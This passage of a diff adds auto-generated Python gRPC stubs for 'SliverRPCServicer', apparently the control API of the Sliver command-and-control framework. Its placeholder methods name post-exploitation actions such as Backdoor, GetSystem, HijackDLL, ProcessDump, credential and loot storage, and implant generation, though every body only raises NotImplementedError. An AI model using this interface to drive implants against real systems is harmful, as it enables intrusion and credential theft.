Interactions *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Ps(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Terminate(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Ifconfig(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Netstat(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Ls(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Cd(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Pwd(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Mv(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Rm(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Mkdir(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Download(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Upload(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Chmod(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Chown(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Chtimes(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def MemfilesList(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def MemfilesAdd(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def MemfilesRm(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def ProcessDump(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RunAs(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Impersonate(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RevToSelf(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetSystem(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Task(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Msf(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def MsfRemote(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def ExecuteAssembly(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Migrate(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Execute(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def ExecuteWindows(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Sideload(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def SpawnDll(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Screenshot(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CurrentTokenOwner(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def PivotStartListener(self, request, context): + """*** Pivots *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def PivotStopListener(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def PivotSessionListeners(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def PivotGraph(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def StartService(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def StopService(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RemoveService(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def MakeToken(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetEnv(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def SetEnv(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def UnsetEnv(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Backdoor(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RegistryRead(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RegistryWrite(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RegistryCreateKey(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RegistryDeleteKey(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RegistryListSubKeys(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RegistryListValues(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RunSSHCommand(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def HijackDLL(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetPrivs(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def StartRportFwdListener(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetRportFwdListeners(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def StopRportFwdListener(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def OpenSession(self, request, context): + """*** Beacon *** -only commands + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CloseSession(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RegisterExtension(self, request, context): + """*** Extensions *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CallExtension(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def ListExtensions(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RegisterWasmExtension(self, request, context): + """*** Wasm Extensions *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def ListWasmExtensions(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def ExecWasmExtension(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def WGStartPortForward(self, request, context): + """*** Wireguard Specific *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def WGStopPortForward(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def WGStartSocks(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def WGStopSocks(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def WGListForwarders(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def WGListSocksServers(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Shell(self, request, context): + """*** Realtime Commands *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Portfwd(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CreateSocks(self, request, context): + """*** Socks5 *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CloseSocks(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def SocksProxy(self, request_iterator, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CreateTunnel(self, request, context): + """*** Tunnels *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CloseTunnel(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def TunnelData(self, request_iterator, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Events(self, request, context): + """*** Events *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + +def add_SliverRPCServicer_to_server(servicer, server): + rpc_method_handlers = { + 'GetVersion': grpc.unary_unary_rpc_method_handler( + servicer.GetVersion, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.Version.SerializeToString, + ), + 'ClientConsoleLog': grpc.stream_unary_rpc_method_handler( + servicer.ClientConsoleLog, + request_deserializer=clientpb_dot_client__pb2.ClientConsoleLogData.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'GetOperators': grpc.unary_unary_rpc_method_handler( + servicer.GetOperators, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.Operators.SerializeToString, + ), + 'Kill': grpc.unary_unary_rpc_method_handler( + servicer.Kill, + request_deserializer=sliverpb_dot_sliver__pb2.KillReq.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'Reconfigure': grpc.unary_unary_rpc_method_handler( + servicer.Reconfigure, + request_deserializer=sliverpb_dot_sliver__pb2.ReconfigureReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Reconfigure.SerializeToString, + ), + 'Rename': grpc.unary_unary_rpc_method_handler( + servicer.Rename, + request_deserializer=clientpb_dot_client__pb2.RenameReq.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'GetSessions': grpc.unary_unary_rpc_method_handler( + servicer.GetSessions, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.Sessions.SerializeToString, + ), + 'GetBeacons': grpc.unary_unary_rpc_method_handler( + servicer.GetBeacons, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.Beacons.SerializeToString, + ), + 'GetBeacon': grpc.unary_unary_rpc_method_handler( + servicer.GetBeacon, + request_deserializer=clientpb_dot_client__pb2.Beacon.FromString, + response_serializer=clientpb_dot_client__pb2.Beacon.SerializeToString, + ), + 'RmBeacon': grpc.unary_unary_rpc_method_handler( + servicer.RmBeacon, + request_deserializer=clientpb_dot_client__pb2.Beacon.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'GetBeaconTasks': grpc.unary_unary_rpc_method_handler( + servicer.GetBeaconTasks, + request_deserializer=clientpb_dot_client__pb2.Beacon.FromString, + response_serializer=clientpb_dot_client__pb2.BeaconTasks.SerializeToString, + ), + 'GetBeaconTaskContent': grpc.unary_unary_rpc_method_handler( + servicer.GetBeaconTaskContent, + request_deserializer=clientpb_dot_client__pb2.BeaconTask.FromString, + response_serializer=clientpb_dot_client__pb2.BeaconTask.SerializeToString, + ), + 'CancelBeaconTask': grpc.unary_unary_rpc_method_handler( + servicer.CancelBeaconTask, + request_deserializer=clientpb_dot_client__pb2.BeaconTask.FromString, + response_serializer=clientpb_dot_client__pb2.BeaconTask.SerializeToString, + ), + 'MonitorStart': grpc.unary_unary_rpc_method_handler( + servicer.MonitorStart, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=commonpb_dot_common__pb2.Response.SerializeToString, + ), + 'MonitorStop': grpc.unary_unary_rpc_method_handler( + servicer.MonitorStop, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'GetJobs': grpc.unary_unary_rpc_method_handler( + servicer.GetJobs, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.Jobs.SerializeToString, + ), + 'KillJob': grpc.unary_unary_rpc_method_handler( + servicer.KillJob, + request_deserializer=clientpb_dot_client__pb2.KillJobReq.FromString, + response_serializer=clientpb_dot_client__pb2.KillJob.SerializeToString, + ), + 'StartMTLSListener': grpc.unary_unary_rpc_method_handler( + servicer.StartMTLSListener, + request_deserializer=clientpb_dot_client__pb2.MTLSListenerReq.FromString, + response_serializer=clientpb_dot_client__pb2.MTLSListener.SerializeToString, + ), + 'StartWGListener': grpc.unary_unary_rpc_method_handler( + servicer.StartWGListener, + request_deserializer=clientpb_dot_client__pb2.WGListenerReq.FromString, + response_serializer=clientpb_dot_client__pb2.WGListener.SerializeToString, + ), + 'StartDNSListener': grpc.unary_unary_rpc_method_handler( + servicer.StartDNSListener, + request_deserializer=clientpb_dot_client__pb2.DNSListenerReq.FromString, + response_serializer=clientpb_dot_client__pb2.DNSListener.SerializeToString, + ), + 'StartHTTPSListener': grpc.unary_unary_rpc_method_handler( + servicer.StartHTTPSListener, + request_deserializer=clientpb_dot_client__pb2.HTTPListenerReq.FromString, + response_serializer=clientpb_dot_client__pb2.HTTPListener.SerializeToString, + ), + 'StartHTTPListener': grpc.unary_unary_rpc_method_handler( + servicer.StartHTTPListener, + request_deserializer=clientpb_dot_client__pb2.HTTPListenerReq.FromString, + response_serializer=clientpb_dot_client__pb2.HTTPListener.SerializeToString, + ), + 'StartTCPStagerListener': grpc.unary_unary_rpc_method_handler( + servicer.StartTCPStagerListener, + request_deserializer=clientpb_dot_client__pb2.StagerListenerReq.FromString, + response_serializer=clientpb_dot_client__pb2.StagerListener.SerializeToString, + ), + 'StartHTTPStagerListener': grpc.unary_unary_rpc_method_handler( + servicer.StartHTTPStagerListener, + request_deserializer=clientpb_dot_client__pb2.StagerListenerReq.FromString, + response_serializer=clientpb_dot_client__pb2.StagerListener.SerializeToString, + ), + 'LootAdd': grpc.unary_unary_rpc_method_handler( + servicer.LootAdd, + request_deserializer=clientpb_dot_client__pb2.Loot.FromString, + response_serializer=clientpb_dot_client__pb2.Loot.SerializeToString, + ), + 'LootRm': grpc.unary_unary_rpc_method_handler( + servicer.LootRm, + request_deserializer=clientpb_dot_client__pb2.Loot.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'LootUpdate': grpc.unary_unary_rpc_method_handler( + servicer.LootUpdate, + request_deserializer=clientpb_dot_client__pb2.Loot.FromString, + response_serializer=clientpb_dot_client__pb2.Loot.SerializeToString, + ), + 'LootContent': grpc.unary_unary_rpc_method_handler( + servicer.LootContent, + request_deserializer=clientpb_dot_client__pb2.Loot.FromString, + response_serializer=clientpb_dot_client__pb2.Loot.SerializeToString, + ), + 'LootAll': grpc.unary_unary_rpc_method_handler( + servicer.LootAll, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.AllLoot.SerializeToString, + ), + 'Creds': grpc.unary_unary_rpc_method_handler( + servicer.Creds, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.Credentials.SerializeToString, + ), + 'CredsAdd': grpc.unary_unary_rpc_method_handler( + servicer.CredsAdd, + request_deserializer=clientpb_dot_client__pb2.Credentials.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'CredsRm': grpc.unary_unary_rpc_method_handler( + servicer.CredsRm, + request_deserializer=clientpb_dot_client__pb2.Credentials.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'CredsUpdate': grpc.unary_unary_rpc_method_handler( + servicer.CredsUpdate, + request_deserializer=clientpb_dot_client__pb2.Credentials.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'GetCredByID': grpc.unary_unary_rpc_method_handler( + servicer.GetCredByID, + request_deserializer=clientpb_dot_client__pb2.Credential.FromString, + response_serializer=clientpb_dot_client__pb2.Credential.SerializeToString, + ), + 'GetCredsByHashType': grpc.unary_unary_rpc_method_handler( + servicer.GetCredsByHashType, + request_deserializer=clientpb_dot_client__pb2.Credential.FromString, + response_serializer=clientpb_dot_client__pb2.Credentials.SerializeToString, + ), + 'GetPlaintextCredsByHashType': grpc.unary_unary_rpc_method_handler( + servicer.GetPlaintextCredsByHashType, + request_deserializer=clientpb_dot_client__pb2.Credential.FromString, + response_serializer=clientpb_dot_client__pb2.Credentials.SerializeToString, + ), + 'CredsSniffHashType': grpc.unary_unary_rpc_method_handler( + servicer.CredsSniffHashType, + request_deserializer=clientpb_dot_client__pb2.Credential.FromString, + response_serializer=clientpb_dot_client__pb2.Credential.SerializeToString, + ), + 'Hosts': grpc.unary_unary_rpc_method_handler( + servicer.Hosts, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.AllHosts.SerializeToString, + ), + 'Host': grpc.unary_unary_rpc_method_handler( + servicer.Host, + request_deserializer=clientpb_dot_client__pb2.Host.FromString, + response_serializer=clientpb_dot_client__pb2.Host.SerializeToString, + ), + 'HostRm': grpc.unary_unary_rpc_method_handler( + servicer.HostRm, + request_deserializer=clientpb_dot_client__pb2.Host.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'HostIOCRm': grpc.unary_unary_rpc_method_handler( + servicer.HostIOCRm, + request_deserializer=clientpb_dot_client__pb2.IOC.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'Generate': grpc.unary_unary_rpc_method_handler( + servicer.Generate, + request_deserializer=clientpb_dot_client__pb2.GenerateReq.FromString, + response_serializer=clientpb_dot_client__pb2.Generate.SerializeToString, + ), + 'GenerateExternal': grpc.unary_unary_rpc_method_handler( + servicer.GenerateExternal, + request_deserializer=clientpb_dot_client__pb2.ExternalGenerateReq.FromString, + response_serializer=clientpb_dot_client__pb2.ExternalImplantConfig.SerializeToString, + ), + 'GenerateExternalSaveBuild': grpc.unary_unary_rpc_method_handler( + servicer.GenerateExternalSaveBuild, + request_deserializer=clientpb_dot_client__pb2.ExternalImplantBinary.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'GenerateExternalGetImplantConfig': grpc.unary_unary_rpc_method_handler( + servicer.GenerateExternalGetImplantConfig, + request_deserializer=clientpb_dot_client__pb2.ImplantConfig.FromString, + response_serializer=clientpb_dot_client__pb2.ExternalImplantConfig.SerializeToString, + ), + 'BuilderRegister': grpc.unary_stream_rpc_method_handler( + servicer.BuilderRegister, + request_deserializer=clientpb_dot_client__pb2.Builder.FromString, + response_serializer=clientpb_dot_client__pb2.Event.SerializeToString, + ), + 'BuilderTrigger': grpc.unary_unary_rpc_method_handler( + servicer.BuilderTrigger, + request_deserializer=clientpb_dot_client__pb2.Event.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'Builders': grpc.unary_unary_rpc_method_handler( + servicer.Builders, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.Builders.SerializeToString, + ), + 'CrackstationRegister': grpc.unary_stream_rpc_method_handler( + servicer.CrackstationRegister, + request_deserializer=clientpb_dot_client__pb2.Crackstation.FromString, + response_serializer=clientpb_dot_client__pb2.Event.SerializeToString, + ), + 'CrackstationTrigger': grpc.unary_unary_rpc_method_handler( + servicer.CrackstationTrigger, + request_deserializer=clientpb_dot_client__pb2.Event.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'CrackstationBenchmark': grpc.unary_unary_rpc_method_handler( + servicer.CrackstationBenchmark, + request_deserializer=clientpb_dot_client__pb2.CrackBenchmark.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'Crackstations': grpc.unary_unary_rpc_method_handler( + servicer.Crackstations, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.Crackstations.SerializeToString, + ), + 'CrackTaskByID': grpc.unary_unary_rpc_method_handler( + servicer.CrackTaskByID, + request_deserializer=clientpb_dot_client__pb2.CrackTask.FromString, + response_serializer=clientpb_dot_client__pb2.CrackTask.SerializeToString, + ), + 'CrackTaskUpdate': grpc.unary_unary_rpc_method_handler( + servicer.CrackTaskUpdate, + request_deserializer=clientpb_dot_client__pb2.CrackTask.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'CrackFilesList': grpc.unary_unary_rpc_method_handler( + servicer.CrackFilesList, + request_deserializer=clientpb_dot_client__pb2.CrackFile.FromString, + response_serializer=clientpb_dot_client__pb2.CrackFiles.SerializeToString, + ), + 'CrackFileCreate': grpc.unary_unary_rpc_method_handler( + servicer.CrackFileCreate, + request_deserializer=clientpb_dot_client__pb2.CrackFile.FromString, + response_serializer=clientpb_dot_client__pb2.CrackFile.SerializeToString, + ), + 'CrackFileChunkUpload': grpc.unary_unary_rpc_method_handler( + servicer.CrackFileChunkUpload, + request_deserializer=clientpb_dot_client__pb2.CrackFileChunk.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'CrackFileChunkDownload': grpc.unary_unary_rpc_method_handler( + servicer.CrackFileChunkDownload, + request_deserializer=clientpb_dot_client__pb2.CrackFileChunk.FromString, + response_serializer=clientpb_dot_client__pb2.CrackFileChunk.SerializeToString, + ), + 'CrackFileComplete': grpc.unary_unary_rpc_method_handler( + servicer.CrackFileComplete, + request_deserializer=clientpb_dot_client__pb2.CrackFile.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'CrackFileDelete': grpc.unary_unary_rpc_method_handler( + servicer.CrackFileDelete, + request_deserializer=clientpb_dot_client__pb2.CrackFile.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'Regenerate': grpc.unary_unary_rpc_method_handler( + servicer.Regenerate, + request_deserializer=clientpb_dot_client__pb2.RegenerateReq.FromString, + response_serializer=clientpb_dot_client__pb2.Generate.SerializeToString, + ), + 'ImplantBuilds': grpc.unary_unary_rpc_method_handler( + servicer.ImplantBuilds, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.ImplantBuilds.SerializeToString, + ), + 'DeleteImplantBuild': 